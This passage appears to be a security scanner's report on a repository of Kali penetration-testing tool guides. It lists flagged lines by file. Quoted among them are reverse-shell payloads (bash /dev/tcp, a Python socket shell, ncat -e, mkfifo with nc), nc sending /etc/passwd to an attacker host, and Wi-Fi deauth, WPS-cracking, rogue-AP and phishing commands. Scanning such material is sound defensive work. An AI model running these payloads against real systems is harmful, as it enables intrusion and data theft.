    sudo eaphammer --interface wlan0 --auth wpa-eap --creds \
  • Network accessline 88
    - [eaphammer (GitHub)](https://github.com/s0lst1c3/eaphammer)
  • Network accessline 89
    - [eaphammer — Kali Tools](https://www.kali.org/tools/eaphammer/)

kali-pentest-zh/references/wireless/tools/fluxion.md

  • Dangerous shell operationline 15
    sudo apt install fluxion
  • Network accessline 70
    - [Fluxion (GitHub)](https://github.com/FluxionNetwork/fluxion)
  • Network accessline 71
    - [Kali fluxion](https://www.kali.org/tools/fluxion/)

kali-pentest-zh/references/wireless/tools/gatttool.md

  • Network accessline 61
    - [gatttool Debian man page](https://manpages.debian.org/unstable/bluez/gatttool.1.en.html)

kali-pentest-zh/references/wireless/tools/hcitool.md

  • Network accessline 66
    - [hcitool Debian man page](https://manpages.debian.org/unstable/bluez/hcitool.1.en.html)

kali-pentest-zh/references/wireless/tools/hcxtools.md

  • Dangerous shell operationline 15
    sudo apt install hcxtools
  • Network accessline 72
    - [hcxtools(GitHub)](https://github.com/ZerBea/hcxtools)
  • Network accessline 73
    - [Kali hcxtools](https://www.kali.org/tools/hcxtools/)

kali-pentest-zh/references/wireless/tools/hostapd-mana.md

  • Dangerous shell operationline 15
    sudo apt install hostapd-mana
  • Dangerous shell operationline 57
    sudo hostapd-mana /tmp/mana-open.conf
  • Dangerous shell operationline 76
    sudo hostapd-mana /tmp/mana-wpa.conf
  • Dangerous shell operationline 99
    sudo hostapd-mana /tmp/mana-eap.conf
  • Network accessline 114
    - [hostapd-mana (GitHub)](https://github.com/sensepost/hostapd-mana)
  • Network accessline 115
    - [hostapd-mana — Kali Tools](https://www.kali.org/tools/hostapd-mana/)

kali-pentest-zh/references/wireless/tools/kismet.md

  • Dangerous shell operationline 15
    sudo apt install kismet
  • Dangerous shell operationline 18
    sudo apt install build-essential git libwebsockets-dev pkg-config \
  • Network accessline 22
    libsensors4-dev libusb-1.0-0-dev python3 python3-setuptools python3-protobuf \     python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git
  • Network accessline 23
    python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git cd kismet
  • Network accessline 24
    git clone https://github.com/kismetwireless/kismet.git
  • Dangerous shell operationline 28
    sudo make install
  • Dangerous shell operationline 66
    sudo kismet -c wlan0
  • Dangerous shell operationline 69
    sudo kismet -c wlan0:name=wifi,type=linuxwifi
  • Dangerous shell operationline 72
    sudo kismet --no-ncurses -c wlan0 &
  • Network accessline 74
    # 访问 Web UI:http://localhost:2501
  • Dangerous shell operationline 82
    sudo kismet -c wlan0 -c wlan1
  • Dangerous shell operationline 85
    sudo kismet -c wlan0:channels="1,6,11" -c wlan1:channels="36,40,44,48"
  • Dangerous shell operationline 92
    sudo apt install gpsd
  • Dangerous shell operationline 93
    sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock
  • Dangerous shell operationline 96
    sudo kismet -c wlan0
  • Dangerous shell operationline 105
    sudo kismet -c wlan0 --no-ncurses
  • Network accessline 118
    # Kismet 提供完整的 REST API # 获取所有设备列表 curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq .
  • Network accessline 119
    # 获取所有设备列表 curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . # 注意:在较新版本的 Kismet 中,此接口可能需要 POST 请求并附带 JSON 请求体:
  • Network accessline 120
    curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq .
  • Network accessline 122
    # curl -u kismet:password -X POST http://localhost:2501/devices/all_devices.json -d '{"fields":["kismet.device.base.macaddr","kismet.device.base.name"]}' | jq .
  • Network accessline 124
    # 获取特定设备信息 curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json
  • Network accessline 125
    curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json
  • Network accessline 128
    # 使用 websocat(安装:cargo install websocat)或浏览器: # websocat -n ws://kismet:password@localhost:2501/eventbus/events.ws # 注意:普通 curl http:// 无法正确连接到 WebSocket 流端点
  • Network accessline 130
    # 注意:普通 curl http:// 无法正确连接到 WebSocket 流端点
  • Network accessline 165
    - [Kismet 官网](https://www.kismetwireless.net/)
  • Network accessline 166
    - [Kismet (GitHub)](https://github.com/kismetwireless/kismet)
  • Network accessline 167
    - [Kismet 文档](https://www.kismetwireless.net/docs/readme/)

kali-pentest-zh/references/wireless/tools/mdk4.md

  • Dangerous shell operationline 15
    sudo apt install mdk4
  • Dangerous shell operationline 52
    sudo mdk4 wlan0mon b
  • Dangerous shell operationline 55
    sudo mdk4 wlan0mon b -c 6 -n "FakeNetwork"
  • Dangerous shell operationline 58
    sudo mdk4 wlan0mon b -f /tmp/ssid_list.txt -c 6
  • Dangerous shell operationline 65
    sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF
  • Dangerous shell operationline 68
    sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF -s 50
  • Dangerous shell operationline 75
    sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -m
  • Dangerous shell operationline 78
    sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -c 6
  • Dangerous shell operationline 85
    sudo mdk4 wlan0mon e -t AA:BB:CC:DD:EE:FF
  • Dangerous shell operationline 92
    sudo mdk4 wlan0mon f -t AA:BB:CC:DD:EE:FF -c 6
  • Network accessline 107
    - [mdk4 (GitHub)](https://github.com/aircrack-ng/mdk4)
  • Network accessline 108
    - [mdk4 — Kali Tools](https://www.kali.org/tools/mdk4/)

kali-pentest-zh/references/wireless/tools/pixiewps.md

  • Dangerous shell operationline 15
    sudo apt install pixiewps
  • Dangerous shell operationline 38
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv
  • Dangerous shell operationline 45
    sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3
  • Network accessline 76
    - [pixiewps (GitHub)](https://github.com/wiire-a/pixiewps)
  • Network accessline 77
    - [pixiewps — Kali Tools](https://www.kali.org/tools/pixiewps/)

kali-pentest-zh/references/wireless/tools/reaver.md

  • Dangerous shell operationline 15
    sudo apt install reaver
  • Dangerous shell operationline 52
    sudo wash -i wlan0mon
  • Dangerous shell operationline 55
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
  • Dangerous shell operationline 58
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv
  • Dangerous shell operationline 65
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv
  • Dangerous shell operationline 68
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K -vv
  • Dangerous shell operationline 75
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 5 -vv
  • Dangerous shell operationline 78
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -l 300 -vv
  • Dangerous shell operationline 81
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -vv
  • Dangerous shell operationline 84
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -S -vv
  • Dangerous shell operationline 91
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12340000 -vv
  • Dangerous shell operationline 96
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
  • Network accessline 113
    - [reaver-wps-fork-t6x (GitHub,Kali 版本)](https://github.com/t6x/reaver-wps-fork-t6x)
  • Network accessline 114
    - [Kali reaver](https://www.kali.org/tools/reaver/)

kali-pentest-zh/references/wireless/tools/sdptool.md

  • Network accessline 58
    - [sdptool Debian man page](https://manpages.debian.org/unstable/bluez/sdptool.1.en.html)

kali-pentest-zh/references/wireless/tools/wifiphisher.md

  • Dangerous shell operationline 15
    sudo apt install wifiphisher
  • Network accessline 17
    git clone https://github.com/wifiphisher/wifiphisher.git
  • Dangerous shell operationline 19
    sudo python3 setup.py install
  • Dangerous shell operationline 66
    sudo wifiphisher
  • Dangerous shell operationline 73
    sudo wifiphisher
  • Dangerous shell operationline 76
    sudo wifiphisher -p firmware-upgrade
  • Dangerous shell operationline 83
    sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade
  • Dangerous shell operationline 86
    sudo wifiphisher -i wlan0 -e "TargetWiFi" -p oauth-login
  • Dangerous shell operationline 93
    sudo wifiphisher -eI wlan0 -aI wlan1 -e "TargetWiFi" -p firmware-upgrade
  • Dangerous shell operationline 100
    sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade \
  • Network accessline 118
    - [Wifiphisher (GitHub)](https://github.com/wifiphisher/wifiphisher)
  • Network accessline 119
    - [Wifiphisher 文档](https://wifiphisher.readthedocs.io/en/latest/)

kali-pentest-zh/references/wireless/tools/wifipumpkin3.md

  • Dangerous shell operationline 25
    sudo apt install wifipumpkin3
  • Network accessline 27
    # 或从源码安装 git clone https://github.com/P0cL4bs/wifipumpkin3.git
  • Network accessline 28
    git clone https://github.com/P0cL4bs/wifipumpkin3.git
  • Dangerous shell operationline 30
    sudo python3 setup.py install
  • Dangerous shell operationline 57
    sudo wifipumpkin3 -i wlan0
  • Dangerous shell operationline 60
    sudo wifipumpkin3 -i wlan0 -p setup.pulp
  • Dangerous shell operationline 67
    sudo wifipumpkin3 -i wlan0
  • Dangerous shell operationline 80
    sudo wifipumpkin3 -i wlan0 -x "set essid TestAP; set proxy pumpkinproxy; start"
  • Dangerous shell operationline 87
    3. 接口不能被 NetworkManager 管理;使用 `sudo systemctl stop NetworkManager` 停止或排除该接口
  • Network accessline 97
    - [wifipumpkin3 (GitHub)](https://github.com/P0cL4bs/wifipumpkin3)
  • Network accessline 98
    - [Kali Tools - wifipumpkin3](https://www.kali.org/tools/wifipumpkin3/)

kali-pentest-zh/references/wireless/tools/wifite.md

  • Dangerous shell operationline 15
    sudo apt install wifite
  • Network accessline 17
    # 从 GitHub 安装最新版(wifite2) git clone https://github.com/derv82/wifite2.git
  • Network accessline 18
    git clone https://github.com/derv82/wifite2.git
  • Dangerous shell operationline 20
    sudo pip3 install .  # setup.py install 已弃用,改用 pip
  • Dangerous shell operationline 24
    sudo apt install aircrack-ng reaver bully hashcat hcxdumptool hcxtools
  • Dangerous shell operationline 56
    sudo wifite
  • Dangerous shell operationline 59
    sudo wifite --kill
  • Dangerous shell operationline 62
    sudo wifite -i wlan0
  • Dangerous shell operationline 69
    sudo wifite -pow -50 --kill
  • Dangerous shell operationline 72
    sudo wifite --clients-only --kill
  • Dangerous shell operationline 75
    sudo wifite -c 6 --kill
  • Dangerous shell operationline 78
    sudo wifite -first 1 --kill
  • Dangerous shell operationline 85
    sudo wifite --wps-only --kill
  • Dangerous shell operationline 88
    sudo wifite --wpa --skip-crack --kill
  • Dangerous shell operationline 91
    sudo wifite --pmkid --kill
  • Dangerous shell operationline 94
    sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt --kill
  • Dangerous shell operationline 114
    sudo wifite --random-mac --kill
  • Network accessline 130
    - [Wifite2 (GitHub)](https://github.com/derv82/wifite2)

kali-pentest/references/cloud-native/README.md

  • Network accessline 101
    - [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)
  • Network accessline 102
    - [Prowler Documentation](https://docs.prowler.com/)
  • Network accessline 103
    - [Kubernetes Documentation](https://kubernetes.io/docs/)
  • Network accessline 104
    - [Docker Documentation](https://docs.docker.com/)

kali-pentest/references/cloud-native/tools/azurehound.md

  • Dangerous shell operationline 15
    sudo apt install azurehound
  • Network accessline 21
    wget https://github.com/SpecterOps/AzureHound/releases/latest/download/azurehound-linux-amd64.zip
  • Dangerous shell operationline 24
    sudo mv azurehound /usr/local/bin/
  • Network accessline 100
    # Upload collected data to BloodHound CE via API curl -X POST https://<bloodhound-ce>/api/v2/file-upload \
  • Network accessline 101
    curl -X POST https://<bloodhound-ce>/api/v2/file-upload \
  • Network accessline 118
    - [AzureHound (GitHub)](https://github.com/SpecterOps/AzureHound)
  • Network accessline 119
    - [azurehound — Kali Tools](https://www.kali.org/tools/azurehound/)

kali-pentest/references/cloud-native/tools/docker-bench-security.md

  • Network accessline 15
    git clone https://github.com/docker/docker-bench-security.git
  • Dangerous shell operationline 39
    sudo ./docker-bench-security.sh -l /tmp/docker-bench.log
  • Network accessline 59
    - [docker-bench-security GitHub](https://github.com/docker/docker-bench-security)

kali-pentest/references/cloud-native/tools/kube-bench.md

  • Network accessline 58
    - [kube-bench GitHub](https://github.com/aquasecurity/kube-bench)

kali-pentest/references/cloud-native/tools/kubescape.md

  • Dangerous shell operationline 15
    curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
  • Network accessline 15
    curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
  • Network accessline 53
    - [Kubescape Documentation](https://kubescape.io/docs/)
  • Network accessline 54
    - [Kubescape GitHub](https://github.com/kubescape/kubescape)

kali-pentest/references/cloud-native/tools/pacu.md

  • Dangerous shell operationline 15
    sudo apt install pacu
  • Network accessline 103
    - [Pacu GitHub](https://github.com/RhinoSecurityLabs/pacu)
  • Network accessline 104
    - [Kali pacu](https://www.kali.org/tools/pacu/)

kali-pentest/references/cloud-native/tools/peirates.md

  • Dangerous shell operationline 15
    sudo apt install peirates
  • Network accessline 21
    wget https://github.com/inguardians/peirates/releases/latest/download/peirates-linux-amd64.tar.xz
  • Dangerous shell operationline 24
    sudo mv peirates /usr/local/bin/
  • Network accessline 71
    | `-m <module>` | Run a specific module from the menu (items marked with `*` support this) | | `-t <token>` | JWT token for authentication | | `-u <url>` | API server URL, e.g. `https://10.96.0.1:6443` (default is empty: `https://:`) |
  • Network accessline 72
    | `-t <token>` | JWT token for authentication | | `-u <url>` | API server URL, e.g. `https://10.96.0.1:6443` (default is empty: `https://:`) | | `-v` | Verbose mode — display debug messages |
  • Network accessline 73
    | `-u <url>` | API server URL, e.g. `https://10.96.0.1:6443` (default is empty: `https://:`) |
  • Network accessline 84
    # Start with a specific API server URL peirates -u https://10.96.0.1:6443
  • Network accessline 85
    peirates -u https://10.96.0.1:6443
  • Network accessline 170
    - [peirates (GitHub)](https://github.com/inguardians/peirates)
  • Network accessline 171
    - [peirates — Kali Tools](https://www.kali.org/tools/peirates/)

kali-pentest/references/cloud-native/tools/prowler.md

  • Network accessline 54
    - [Prowler Documentation](https://docs.prowler.com/)
  • Network accessline 55
    - [Prowler GitHub](https://github.com/prowler-cloud/prowler)

kali-pentest/references/cloud-native/tools/scoutsuite.md

  • Network accessline 52
    - [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)

kali-pentest/references/environment/docker-mode-persistent-container.md

  • Dangerous shell operationline 94
    RUN apt-get update -qq &&      apt-get install -y --no-install-recommends        nmap masscan gobuster ffuf sqlmap nikto        hydra john hashcat wordlists        metasploit-framework &&      apt-get clean && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 99
    apt-get clean && rm -rf /var/lib/apt/lists/*

kali-pentest/references/environment/docker-mode.md

  • Network accessline 46
    - [Kali Linux Docker Hub](https://hub.docker.com/u/kalilinux)
  • Network accessline 47
    - [Kali Linux Docker Documentation](https://www.kali.org/docs/containers/official-kalilinux-docker-images/)

kali-pentest/references/environment/server-mode.md

  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Dangerous shell operationline 36
    # sudo requires a TTY — use ssh -t:
  • Dangerous shell operationline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]

kali-pentest/references/exploitation/README.md

  • Network accessline 70
    **[socat](tools/socat.md)** — Advanced network relay and shell upgrader   A more powerful successor to netcat supporting TCP, UDP, TLS-encrypted sockets, and PTY shells. Best used for upgrading basic shells to fully interactive TTYs, creati
  • Network accessline 71
    A more powerful successor to netcat supporting TCP, UDP, TLS-encrypted sockets, and PTY shells. Best used for upgrading basic shells to fully interactive TTYs, creating encrypted C2 channels, and port forwarding through pivots.
  • Network accessline 192
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/exploitation/tools/chisel.md

  • Dangerous shell operationline 17
    sudo apt install chisel
  • Network accessline 37
    |-----------|-------------| | `client` | Run in client mode | | `<server>` | Attacker server URL (e.g., http://192.168.1.10:8080) |
  • Network accessline 38
    | `client` | Run in client mode | | `<server>` | Attacker server URL (e.g., http://192.168.1.10:8080) | | `<remote>` | Tunnel spec: `R:socks` (reverse SOCKS), `<local>:<remote-host>:<remote-port>` |
  • Network accessline 39
    | `<server>` | Attacker server URL (e.g., http://192.168.1.10:8080) |
  • Network accessline 87
    - [chisel GitHub](https://github.com/jpillora/chisel)

kali-pentest/references/exploitation/tools/coercer.md

  • Dangerous shell operationline 15
    sudo apt install coercer
  • Network accessline 61
    - [Coercer (GitHub)](https://github.com/p0dalirius/Coercer)
  • Network accessline 62
    - [Kali coercer](https://www.kali.org/tools/coercer/)

kali-pentest/references/exploitation/tools/dns2tcp.md

  • Dangerous shell operationline 20
    sudo apt install dns2tcp
  • Network accessline 142
    - Kali Tools: https://www.kali.org/tools/dns2tcp/
  • Network accessline 143
    - GitHub: https://github.com/alex-sector/dns2tcp

kali-pentest/references/exploitation/tools/evil-winrm.md

  • Dangerous shell operationline 8
    > ⚠<U+FE0F> **Root/sudo may be required** to install gems system-wide. Ruby must be installed. On Kali, `evil-winrm` is also available via `apt install evil-winrm`.
  • Dangerous shell operationline 17
    sudo apt install evil-winrm
  • Network accessline 79
    - [Evil-WinRM GitHub](https://github.com/Hackplayers/evil-winrm)

kali-pentest/references/exploitation/tools/evilginx2.md

  • Dangerous shell operationline 15
    sudo apt install evilginx2
  • Dangerous shell operationline 33
    sudo evilginx2 -p /usr/share/evilginx2/phishlets
  • Dangerous shell operationline 36
    sudo evilginx2 -developer
  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 65
    - [evilginx2 (GitHub)](https://github.com/kgretzky/evilginx2)
  • Network accessline 66
    - [Kali evilginx2](https://www.kali.org/tools/evilginx2/)

kali-pentest/references/exploitation/tools/getsploit.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install getsploit
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 73
    - [getsploit GitHub](https://github.com/vulnersCom/getsploit)
  • Network accessline 74
    - [Kali getsploit](https://www.kali.org/tools/getsploit/)

kali-pentest/references/exploitation/tools/gophish.md

  • Dangerous shell operationline 25
    sudo apt install gophish
  • Network accessline 27
    # Or download from GitHub releases wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
  • Network accessline 28
    wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
  • Dangerous shell operationline 80
    sudo gophish
  • Network accessline 104
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Network accessline 118
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Network accessline 133
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]
  • Access to secretsline 134
    [Credential-related source omitted]
  • Network accessline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Network accessline 168
    "smtp": {"name": "Internal SMTP"},     "groups": [{"name": "Finance Team"}],     "url": "https://phish.example.com"
  • Network accessline 169
    "groups": [{"name": "Finance Team"}],     "url": "https://phish.example.com"   }'
  • Network accessline 170
    "url": "https://phish.example.com"
  • Network accessline 177
    # Get all campaigns curl -k https://localhost:3333/api/campaigns/ \
  • Network accessline 178
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 179
    [Credential-related source omitted]
  • Network accessline 181
    # Get specific campaign results curl -k https://localhost:3333/api/campaigns/1/results \
  • Network accessline 182
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 189
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 202
    [Credential-related source omitted]
  • Network accessline 213
    - GitHub: https://github.com/gophish/gophish
  • Network accessline 214
    - Kali Tools: https://www.kali.org/tools/gophish/

kali-pentest/references/exploitation/tools/impacket.md

  • Network accessline 20
    # Install from source (fortra is the current GitHub org; SecureAuth transferred to Fortra) git clone https://github.com/fortra/impacket
  • Network accessline 21
    git clone https://github.com/fortra/impacket
  • Dangerous shell operationline 316
    5. **Clock sync**: Kerberos attacks require clocks synchronized with the DC (±5 minutes); use `sudo ntpdate dc.domain.com` or `sudo ntpdate -u dc.domain.com` to sync.
  • Network accessline 323
    - [impacket GitHub](https://github.com/fortra/impacket)
  • Network accessline 324
    - [impacket README](https://github.com/fortra/impacket/blob/master/README.md)

kali-pentest/references/exploitation/tools/iodine.md

  • Dangerous shell operationline 15
    sudo apt install iodine
  • Dangerous shell operationline 56
    sudo iodined -f -c -P secretpass 10.0.0.1/24 t1.example.com
  • Dangerous shell operationline 59
    sudo iodined -f -c -P secretpass -n 203.0.113.10 10.0.0.1/24 t1.example.com
  • Dangerous shell operationline 64
    sudo iodine -f -P secretpass t1.example.com
  • Dangerous shell operationline 67
    sudo iodine -f -P secretpass 8.8.8.8 t1.example.com
  • Dangerous shell operationline 70
    sudo iodine -f -P secretpass -T TXT t1.example.com
  • Network accessline 93
    - [iodine GitHub](https://github.com/yarrick/iodine)
  • Network accessline 94
    - [Kali iodine](https://www.kali.org/tools/iodine/)

kali-pentest/references/exploitation/tools/ligolo-ng.md

  • Dangerous shell operationline 15
    sudo apt install ligolo-ng
  • Dangerous shell operationline 49
    sudo ip tuntap add user $(whoami) mode tun ligolo
  • Dangerous shell operationline 50
    sudo ip link set ligolo up
  • Dangerous shell operationline 66
    sudo ip route add 10.0.0.0/24 dev ligolo
  • Network accessline 85
    - [ligolo-ng (GitHub)](https://github.com/nicocha30/ligolo-ng)
  • Network accessline 86
    - [Kali ligolo-ng](https://www.kali.org/tools/ligolo-ng/)

kali-pentest/references/exploitation/tools/metasploit.md

  • Network accessline 29
    # Install via official installer script curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Network accessline 30
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Dangerous shell operationline 210
    rm /tmp/file                         # Delete file
  • Network accessline 412
    - [Metasploit Documentation](https://docs.metasploit.com/)
  • Network accessline 413
    - [Metasploit Framework GitHub](https://github.com/rapid7/metasploit-framework)
  • Network accessline 414
    - [Rapid7 Vulnerability Database](https://www.rapid7.com/db/)

kali-pentest/references/exploitation/tools/mitm6.md

  • Dangerous shell operationline 15
    sudo apt install mitm6
  • Network accessline 68
    - [mitm6 (GitHub)](https://github.com/dirkjanm/mitm6)
  • Network accessline 69
    - [Kali mitm6](https://www.kali.org/tools/mitm6/)

kali-pentest/references/exploitation/tools/msfconsole.md

  • Dangerous shell operationline 16
    sudo apt install metasploit-framework
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 113
    - [Metasploit Framework (GitHub)](https://github.com/rapid7/metasploit-framework)
  • Network accessline 114
    - [Metasploit Documentation](https://docs.metasploit.com/)
  • Network accessline 115
    - [Running Modules (Using Metasploit)](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
  • Network accessline 116
    - [Database Support](https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html)

kali-pentest/references/exploitation/tools/msfvenom.md

  • Dangerous shell operationline 15
    sudo apt install metasploit-framework
  • Network accessline 263
    - [How to use msfvenom (GitHub Wiki)](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom)
  • Network accessline 264
    - [msfvenom Documentation](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)

kali-pentest/references/exploitation/tools/mssqlpwner.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install mssqlpwner
  • Network accessline 73
    - [MSSqlPwner GitHub](https://github.com/ScorpionesLabs/MSSqlPwner)
  • Network accessline 74
    - [Kali mssqlpwner](https://www.kali.org/tools/mssqlpwner/)

kali-pentest/references/exploitation/tools/netcat.md

  • Dangerous shell operationline 15
    sudo apt install ncat netcat-openbsd
  • Network accessline 15
    sudo apt install ncat netcat-openbsd
  • Network accessline 27
    | `-u` | UDP mode | | `-w N` | Timeout in seconds | | `-z` | Zero-I/O mode (port scanning; supported in ncat and traditional nc) |
  • Network accessline 28
    | `-w N` | Timeout in seconds | | `-z` | Zero-I/O mode (port scanning; supported in ncat and traditional nc) | | `-k` | Set keepalive option on socket |
  • Network accessline 29
    | `-z` | Zero-I/O mode (port scanning; supported in ncat and traditional nc) |
  • Network accessline 41
    # === Reverse Shell Listener (Kali attacker machine) === nc -lvnp 4444
  • Network accessline 42
    nc -lvnp 4444
  • Network accessline 43
    # or use ncat (more stable)
  • Network accessline 44
    ncat -lvnp 4444
  • Network accessline 46
    # === Reverse Shell Payloads (execute on target machine) === # Bash bash -i >& /dev/tcp/<kali-ip>/4444 0>&1
  • Dangerous shell operationline 48
    bash -i >& /dev/tcp/<kali-ip>/4444 0>&1
  • Network accessline 48
    bash -i >& /dev/tcp/<kali-ip>/4444 0>&1
  • Network accessline 50
    # Python3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
  • Network accessline 51
    python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
  • Dangerous shell operationline 53
    # nc (versions with -e flag)
  • Network accessline 53
    # nc (versions with -e flag)
  • Dangerous shell operationline 54
    # Note: Kali's default nc (OpenBSD variant) does NOT support -e
  • Network accessline 54
    # Note: Kali's default nc (OpenBSD variant) does NOT support -e
  • Dangerous shell operationline 55
    # Use ncat (from nmap package) which supports --exec / -e:
  • Network accessline 55
    # Use ncat (from nmap package) which supports --exec / -e:
  • Dangerous shell operationline 56
    ncat <kali-ip> 4444 -e /bin/bash
  • Network accessline 56
    ncat <kali-ip> 4444 -e /bin/bash
  • Dangerous shell operationline 58
    # nc (without -e flag, using mkfifo)
  • Network accessline 58
    # nc (without -e flag, using mkfifo)
  • Dangerous shell operationline 59
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f
  • Network accessline 59
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f
  • Network accessline 64
    # === File Transfer === # Receiver (Kali) nc -lvnp 4444 > received_file
  • Network accessline 66
    nc -lvnp 4444 > received_file
  • Network accessline 68
    # Sender (target) — add -N so nc closes the socket on EOF and the transfer ends cleanly
  • Network accessline 69
    nc -N <kali-ip> 4444 < /etc/passwd
  • Network accessline 71
    # === Port Scanning (simple) === # Note: ncat supports -z but traditional nc (OpenBSD) may vary; nmap is preferred for reliable scanning
  • Network accessline 72
    # Note: ncat supports -z but traditional nc (OpenBSD) may vary; nmap is preferred for reliable scanning
  • Network accessline 73
    nc -zv 192.168.1.100 1-1000 2>&1 | grep open
  • Network accessline 75
    # === Port Forwarding (simple) === # Forward local 8080 to target:80 nc -l 8080 | nc target.com 80
  • Network accessline 77
    nc -l 8080 | nc target.com 80
  • Network accessline 97
    2. For a fully interactive TTY, upgrade with Python3 pty after getting a basic shell — see the Shell Stabilization section above. 3. For encrypted shells or advanced PTY features, use `socat` instead — see `socat.md`. 4. `ncat --ssl` create
  • Network accessline 98
    3. For encrypted shells or advanced PTY features, use `socat` instead — see `socat.md`. 4. `ncat --ssl` creates an encrypted netcat connection — useful when traffic monitoring is a concern. 5. Always use a non-standard port (not 80/443/22) 
  • Network accessline 99
    4. `ncat --ssl` creates an encrypted netcat connection — useful when traffic monitoring is a concern.
  • Network accessline 109
    - [Ncat (nmap version)](https://nmap.org/ncat/)
  • Network accessline 110
    - [Static binaries (socat, nmap, etc.)](https://github.com/andrew-d/static-binaries)

kali-pentest/references/exploitation/tools/odat.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install odat
  • Network accessline 84
    - [ODAT GitHub](https://github.com/quentinhardy/odat)
  • Network accessline 85
    - [Kali ODAT](https://www.kali.org/tools/odat/)

kali-pentest/references/exploitation/tools/proxytunnel.md

  • Network accessline 69
    - [proxytunnel GitHub](https://github.com/proxytunnel/proxytunnel)
  • Network accessline 70
    - [Kali proxytunnel](https://www.kali.org/tools/proxytunnel/)

kali-pentest/references/exploitation/tools/routersploit.md

  • Dangerous shell operationline 15
    sudo apt install routersploit
  • Network accessline 21
    git clone https://github.com/threat9/routersploit.git
  • Network accessline 102
    - [routersploit GitHub](https://github.com/threat9/routersploit)
  • Network accessline 103
    - [Kali routersploit](https://www.kali.org/tools/routersploit/)

kali-pentest/references/exploitation/tools/searchsploit.md

